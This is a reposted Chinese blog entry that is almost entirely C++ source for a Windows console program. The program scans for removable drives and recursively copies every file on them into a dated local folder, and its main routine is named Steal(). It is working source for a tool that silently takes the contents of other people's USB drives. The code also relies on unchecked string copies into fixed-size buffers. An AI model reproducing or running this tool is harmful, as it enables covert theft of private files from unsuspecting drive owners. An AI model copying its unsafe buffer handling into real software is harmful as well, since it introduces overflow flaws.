标签:
// Drives.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include "windows.h" #include "string.h" #include "direct.h" #include "stdlib.h" char dir[260]; wchar_t* char2wchar(char *cStr) { size_t len = strlen(cStr)+1; size_t converted = 0; wchar_t *wStr; wStr = (wchar_t*)malloc(len*sizeof(wchar_t)); mbstowcs_s(&converted,wStr,len,cStr,_TRUNCATE); return wStr; } char* wchar2char(wchar_t *wStr) { size_t len = wcslen(wStr)+1; size_t converted = 0; char *cStr; cStr = (char*)malloc(len*sizeof(char)); wcstombs_s(&converted,cStr,len,wStr,_TRUNCATE); return cStr; } void Copy(char *FileName) { char dir2[260]; strcpy(dir2,dir); char *temp = strchr(FileName,‘\\‘); temp++; strcat(dir2,temp); CopyFile(char2wchar(FileName),char2wchar(dir2),1); } void CreateDir(char *path) { char temp2[260]; strcpy(temp2,dir); char *temp = strchr(path,‘\\‘); temp++; strcat(temp2,temp); _mkdir(temp2); } void GetFile(char *FilePath) { wchar_t* wFilePath = char2wchar(FilePath); wchar_t temp[256],temp1[256]; wcscpy_s(temp,wFilePath); WIN32_FIND_DATA FindFileData; HANDLE hFind; wcscat_s(temp,L"*"); hFind = FindFirstFile(temp,&FindFileData); wprintf(L"%s\n",FindFileData.cFileName); if(hFind == INVALID_HANDLE_VALUE) { return; } else { do { wcscpy_s(temp1,wFilePath); wcscat_s(temp1,FindFileData.cFileName); if(wcscmp(FindFileData.cFileName, L".")!=0&&wcscmp(FindFileData.cFileName ,L"..")!=0) { if( FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY ) { wcscat(temp1, L"\\"); CreateDir(wchar2char(temp1)); GetFile(wchar2char(temp1)); } else { Copy(wchar2char(temp1)); } } } while( FindNextFile( hFind,&FindFileData ) ); } FindClose(hFind); } int CheckDisk(char *disk) { wchar_t *wDisk = char2wchar(disk); if(GetDriveType(wDisk)==DRIVE_REMOVABLE)//如果是可移动磁盘,返回true return 1; return 0; } int Steal() { char buf[11]; DWORD lod=GetLogicalDrives(); if(lod) { for(int i=0;i<26;i++) { if((lod&1)==1) { sprintf(buf,"%c",‘A‘+i); strcat(buf,":\\"); if(CheckDisk(buf)) { if(GetVolumeInformation(char2wchar(buf),0,0,0,0,0,0,0))//获取磁盘信息 { GetFile(buf); } } } lod=lod>>1; } } return TRUE; } int _tmain(int argc, _TCHAR* argv[]) { SYSTEMTIME st; char dtime[22],temp[10]; GetLocalTime(&st); _itoa(st.wYear,temp,10); strcpy(dtime,temp); _itoa(st.wMonth,temp,10); strcat(dtime,temp); _itoa(st.wDay,temp,10); strcat(dtime,temp); _itoa(st.wMonth,temp,10); _getcwd(dir,256); puts(dir); strcat(dir,"\\"); strcat(dir,dtime); strcat(dir,"\\"); _mkdir(dir);//创建新文件夹 Steal(); return 0; }
标签:
原文地址:http://www.cnblogs.com/mypsq/p/5616405.html